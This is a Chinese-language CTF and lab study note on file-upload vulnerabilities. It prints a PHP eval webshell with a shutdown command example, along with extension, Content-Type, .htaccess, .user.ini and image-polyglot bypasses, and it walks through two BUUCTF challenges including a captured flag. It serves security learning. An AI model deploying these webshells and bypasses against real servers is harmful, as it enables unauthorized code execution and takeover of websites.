2022.8.9 文件上传学习笔记
文件上传学习笔记
知识点
一句话木马
<?php
eval($_POST['data']); ?>
比如我在此目录下传参system("shutdown /s /t 120")那么系统就会关机
编码方式windows一般GBK,linux一般UTF-8
当操控数据库时,网站为php5的数据库类型选MYSQL,php7的选MYSQLI
lab pass1 客户端绕过
如限制了php后缀名
可以在bp里面把js关闭
请看,我在bp中修改一些内容,就可以绕过他的js弹窗绕过。
也是能顺利上传,使用蚁剑等破解
lab pass2 content-type
这边是一个type判断
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
我们修改一下content-type即可绕过。
lab pass3 后缀名绕过
o如果.php后缀被限制,可以尝试这些后缀(webshell内容一样):.phtml、.pht、.php3、.php4、.php5、.pHp(修改大小写)
phtml或者pht文件也可以这样写。
<script language="php"> eval($_POST['data']); </script>
lab pass4 .htaccess
注:此文件只支持apache服务器。
比如我要使png文件当作php文件执行
<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>
或者
AddType application/x-httpd-php .ljy
lab pass14 图片马
o此处使用getReailFileType函数读取图片信息,所以我们上传的文件得有真实的图片内容。
考虑使用图片马,即合并木马和图片。
注意图片写前面,因为有标识
copy /b logo.png+v1.0.php png_hack1.png
注意:
- 单纯的图片马并不能直接和蚁剑连接,
- 因为该文件依然是以image格式进行解析,
- 只有利用文件包含漏洞,才能成功利用该木马
- 所谓文件包含漏洞,是指在代码中引入其他文件作为php文件执行时,未对文件进行严格过滤,导致用户指定任意文件,都作为php文件解析执行。
.user.ini绕过
oPHP 支持基于每个目录的 INI 文件配置(.user.ini)。此类文件 仅被 CGI/FastCGI
oupload-labs默认配置的apache+php不是CGI/FastCGI方式
ophpstudy默认使用的是CGI/FastCGI方式
我们在配置文件中添加这个配置文件后,就会在执行文件后自动执行文件。
apache和nginx都是可以的
auto_append_file=hello.png
hello.php内容
<?php echo "hello!" ?>
hello.png内容
<?php echo " hacker!!" ?>
练习
buuctf [WUSTCTF2020]CV Maker
我们登录后有个上传头像的一个界面,尝试上传一句话木马,提示了这样的语句
exif_imagetype用来获取文件的类型,返回image_type,整型的数字,通过这个数字,来判断文件到底是什么类型
我们尝试上传图片马
发现可以上传。
尝试修改后缀名,发现上传成功。
也可以顺利执行。
我们链接蚁剑
最后也是在根目录下找到了flag
flag{fca59b37-0d2e-4b6d-8603-976f35a8e411}
反思:这边的漏洞是他只看图片内容,但是忽视了文件后缀名,所以我们有机可乘。
通过蚁剑也看到了他的运行逻辑
你传你呢?
发现后缀名为php的被过滤了,但改contenttype为image/png后 可以上传png图像
尝试.htaccess让png运行成php文件
可以上传。
直接尝试运行png文件。
****
OK,成功执行我们的脚本。
也是得到了flag
稍微看一下他的代码
看来只要有ph出现他就die
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("我扌your problem?");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
else{
die("我扌your problem?");
}
}
}